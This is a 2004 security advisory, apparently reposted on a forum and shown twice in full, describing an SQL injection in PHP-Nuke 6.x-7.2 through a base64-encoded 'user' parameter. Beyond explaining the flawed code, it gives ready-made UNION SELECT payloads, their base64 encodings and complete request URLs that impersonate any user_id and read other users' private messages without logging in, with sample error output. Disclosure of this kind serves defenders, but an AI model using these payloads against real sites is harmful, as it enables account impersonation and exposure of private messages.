Janek Vind
13/04/04, 00:35
{================================================= ===============================}
{ [waraxe-2004-SA#017] }
{================================================= ===============================}
{ }
{ [ User-level authentication bypass in phpnuke 6.x-7.2 ] }
{ }
{================================================= ===============================}
Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=17
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let's begin our journey. I was exploring the phpnuke code and saw this code in
modules.php in lines 20-21:
global $nukeuser;
$nukeuser = base64_decode($user);
Hmm, base64decoded global variable $nukeuser, it means, that $nukeuser can contain unslashed
single quotes and potentially lead to sql injection...
So, i was searching phpnuke source files to find out, for what is used this variable. And
the answer is - for integrated phpBB forum module in phpnuke.
This is how it works - first forum module will call the function session_pagestart($user_ip, $thispage_id, $nukeuser)
from sessions.php, this function will call bblogin($nukeuser, $session_id) from functions.php .
Now, here is some code fragments from bblogin():
function bblogin($nukeuser, $session_id) {
....
$cookie = explode(":", $nukeuser);
$nuid = $cookie[0];
....
if( $nuid != $logindata['session_user_id'] ) {
$nusername = $cookie[1];
$sql = "SELECT user_id, username, user_password, user_active, user_level
FROM ".USERS_TABLE."
WHERE username = '" . str_replace("\'", "''", $nusername) . "'";
$result = $db->sql_query($sql);
if(!$result) {
message_die(GENERAL_ERROR, "Error in obtaining userdata : login", "", __LINE__, __FILE__, $sql);
}
....
As we can see, base64decoded UNSLASHED data will be exploded to array $cookie and then username
component will be used in sql query. Therefore sql injection must be possible...
Now it's time to practical work. By the way, we don't need to play with cookies (this is little bit harder
then GET requests), because phpnuke will globalize all the GPC variables, so there is no difference, it's
COOKIE, POST or GET. Now, for proof testing let's contruct "cookie" like this:
1:x'%20OR%20y/*:pwd
and next let's base64encode them, so we get: MTp4JyBPUiB5Lyo6cHdk
Ok, now if we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Forums&user=MTp4JyBPUiB5Lyo6cHdk
then most of the phpnuke installations will give us phpbb error message:
------------------------------------------------------------------------
General Error
Error in obtaining userdata : login
DEBUG MODE
SQL Error : 1054 Unknown column 'y' in 'where clause'
SELECT user_id, username, user_password, user_active, user_level FROM nuke_users WHERE username = 'x' OR y/*'
Line : 840
File : D:\apache_wwwroot\nuke71\includes\functions.php
------------------------------------------------------------------------
And it's not surprise, that line 840 from functions.php belongs to function bblogin($nukeuser, $session_id)
from integrated phpBB package. So we have proof of the real sql injection and can use this for
full path disclosure and XSS. Hmm, maybe we can do something more "useful"? Answer is "yes", if the mysql
engine has version number > 4.0 and UNION functionality is enabled. We can use UNION to "fake" any
information, that phpnuke will try to query from database.
In this stage WE NEED TO KNOW user_id of the user, who we are targeting. Admin's user-alias has
probably user_id=2, but we can very easy get any user's user_aid, for example if we look at user's
profile:
http://localhost/nuke71/modules.php?name=Forums&file=profile&mode=viewprofile&u=2
then we see "u=2", therefore user_id=2. Now let's contruct "cookie" like this:
x:x'%20UNION%20SELECT%202,null,'pass',1,null/*:pass
and base64encoded version is --> eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bG wvKjpwYXNz
So we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Forums&user=eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxL G51bGwvKjpwYXNz
and we see forum page with link "log out [waraxe]" (with username, who's user_id=2). So, we just fooled
phpnuke to believe, that we are authentic user, and that's without any authentication at all.
Of course, work is not yet done - if we try to click on any links, then we see login page, because
this sort of "authentication" is not permanent.
There are many possibilities to improve this method and use it for different "bad things".
I will show here example HTTP requests, that will make possible to read any user private messages
without any authentication.
If user "waraxe" has user_id=2, then lets construct "cookie" like this:
x:foo'%20UNION%20SELECT%202,null,1,1,null/*:1
and after base64encode operation we get: eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKj ox
Next, we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51b GwvKjox
and if you are lucky, you can see the pm list. Now, how we can read one of the private messages?
Just copy the url of the private message, what you see in pm list, for example:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1
and then add our "magic" string:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51b GwvKjox
Paste this to url field in browser and make get request. Mission complete!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------
{ [waraxe-2004-SA#017] }
{================================================= ===============================}
{ }
{ [ User-level authentication bypass in phpnuke 6.x-7.2 ] }
{ }
{================================================= ===============================}
Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=17
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let's begin our journey. I was exploring the phpnuke code and saw this code in
modules.php in lines 20-21:
global $nukeuser;
$nukeuser = base64_decode($user);
Hmm, base64decoded global variable $nukeuser, it means, that $nukeuser can contain unslashed
single quotes and potentially lead to sql injection...
So, i was searching phpnuke source files to find out, for what is used this variable. And
the answer is - for integrated phpBB forum module in phpnuke.
This is how it works - first forum module will call the function session_pagestart($user_ip, $thispage_id, $nukeuser)
from sessions.php, this function will call bblogin($nukeuser, $session_id) from functions.php .
Now, here is some code fragments from bblogin():
function bblogin($nukeuser, $session_id) {
....
$cookie = explode(":", $nukeuser);
$nuid = $cookie[0];
....
if( $nuid != $logindata['session_user_id'] ) {
$nusername = $cookie[1];
$sql = "SELECT user_id, username, user_password, user_active, user_level
FROM ".USERS_TABLE."
WHERE username = '" . str_replace("\'", "''", $nusername) . "'";
$result = $db->sql_query($sql);
if(!$result) {
message_die(GENERAL_ERROR, "Error in obtaining userdata : login", "", __LINE__, __FILE__, $sql);
}
....
As we can see, base64decoded UNSLASHED data will be exploded to array $cookie and then username
component will be used in sql query. Therefore sql injection must be possible...
Now it's time to practical work. By the way, we don't need to play with cookies (this is little bit harder
then GET requests), because phpnuke will globalize all the GPC variables, so there is no difference, it's
COOKIE, POST or GET. Now, for proof testing let's contruct "cookie" like this:
1:x'%20OR%20y/*:pwd
and next let's base64encode them, so we get: MTp4JyBPUiB5Lyo6cHdk
Ok, now if we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Forums&user=MTp4JyBPUiB5Lyo6cHdk
then most of the phpnuke installations will give us phpbb error message:
------------------------------------------------------------------------
General Error
Error in obtaining userdata : login
DEBUG MODE
SQL Error : 1054 Unknown column 'y' in 'where clause'
SELECT user_id, username, user_password, user_active, user_level FROM nuke_users WHERE username = 'x' OR y/*'
Line : 840
File : D:\apache_wwwroot\nuke71\includes\functions.php
------------------------------------------------------------------------
And it's not surprise, that line 840 from functions.php belongs to function bblogin($nukeuser, $session_id)
from integrated phpBB package. So we have proof of the real sql injection and can use this for
full path disclosure and XSS. Hmm, maybe we can do something more "useful"? Answer is "yes", if the mysql
engine has version number > 4.0 and UNION functionality is enabled. We can use UNION to "fake" any
information, that phpnuke will try to query from database.
In this stage WE NEED TO KNOW user_id of the user, who we are targeting. Admin's user-alias has
probably user_id=2, but we can very easy get any user's user_aid, for example if we look at user's
profile:
http://localhost/nuke71/modules.php?name=Forums&file=profile&mode=viewprofile&u=2
then we see "u=2", therefore user_id=2. Now let's contruct "cookie" like this:
x:x'%20UNION%20SELECT%202,null,'pass',1,null/*:pass
and base64encoded version is --> eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bG wvKjpwYXNz
So we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Forums&user=eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxL G51bGwvKjpwYXNz
and we see forum page with link "log out [waraxe]" (with username, who's user_id=2). So, we just fooled
phpnuke to believe, that we are authentic user, and that's without any authentication at all.
Of course, work is not yet done - if we try to click on any links, then we see login page, because
this sort of "authentication" is not permanent.
There are many possibilities to improve this method and use it for different "bad things".
I will show here example HTTP requests, that will make possible to read any user private messages
without any authentication.
If user "waraxe" has user_id=2, then lets construct "cookie" like this:
x:foo'%20UNION%20SELECT%202,null,1,1,null/*:1
and after base64encode operation we get: eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKj ox
Next, we make HTTP request like this:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51b GwvKjox
and if you are lucky, you can see the pm list. Now, how we can read one of the private messages?
Just copy the url of the private message, what you see in pm list, for example:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1
and then add our "magic" string:
http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51b GwvKjox
Paste this to url field in browser and make get request. Mission complete!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------